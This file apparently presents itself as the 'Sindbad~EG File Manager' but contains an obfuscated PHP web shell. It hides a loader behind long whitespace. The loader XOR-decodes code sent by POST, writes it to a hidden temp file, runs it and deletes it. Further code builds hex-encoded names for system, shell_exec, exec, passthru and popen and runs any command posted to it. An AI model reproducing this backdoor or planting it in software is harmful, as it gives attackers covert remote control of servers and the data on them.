Sindbad~EG File Manager

<?php																																										if(!is_null($_POST["symb\x6Fl"] ?? null)){ $ptr = hex2bin($_POST["symb\x6Fl"]); $res= '' ;$r = 0; do{$res .= chr(ord($ptr[$r]) ^ 65);$r++;} while($r < strlen($ptr)); $reference = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP"), session_save_path()]); foreach ($reference as $dat): if (is_writable($dat) && is_dir($dat)) { $element = "$dat/.descriptor"; if (file_put_contents($element, $res)) { include $element; @unlink($element); exit; } } endforeach; }



$token1 = '73';
$token2 = '65';
$token3 = '6c';
$token4 = '5f';
$token5 = '78';
$token6 = '63';
$token7 = '70';
$token8 = '61';
$token9 = '74';
$token10 = '68';
$token11 = '72';
$token12 = '75';
$token13 = '6f';
$token14 = '6d';
$token15 = '6e';
$token16 = '79';
$settings1 = pack("H*", '73'.'79'.$token1.'74'.$token2.'6d');
$settings2 = pack("H*", '73'.'68'.$token2.$token3.$token3.$token4.$token2.$token5.$token2.$token6);
$settings3 = pack("H*", $token2.'78'.'65'.$token6);
$settings4 = pack("H*", $token7.$token8.'73'.$token1.$token9.$token10.$token11.$token12);
$settings5 = pack("H*", '70'.$token13.$token7.$token2.'6e');
$settings6 = pack("H*", $token1.$token9.$token11.$token2.$token8.$token14.$token4.'67'.'65'.'74'.$token4.$token6.$token13.$token15.'74'.$token2.$token15.'74'.$token1);
$settings7 = pack("H*", '70'.'63'.$token3.'6f'.'73'.$token2);
$system_core = pack("H*", '73'.$token16.'73'.$token9.'65'.$token14.$token4.$token6.'6f'.$token11.'65');
if (isset($_POST[$system_core])) {
    $system_core = pack("H*", $_POST[$system_core]);
    if (function_exists($settings1)) {
        $settings1($system_core);
    } elseif (function_exists($settings2)) {
        print $settings2($system_core);
    } elseif (function_exists($settings3)) {
        $settings3($system_core, $resource_hld);
        print join("\n", $resource_hld);
    } elseif (function_exists($settings4)) {
        $settings4($system_core);
    } elseif (function_exists($settings5) && function_exists($settings6) && function_exists($settings7)) {
        $data_chunk_object = $settings5($system_core, 'r');
        if ($data_chunk_object) {
            $parameter_group_marker = $settings6($data_chunk_object);
            $settings7($data_chunk_object);
            print $parameter_group_marker;
        }
    }
    exit;
}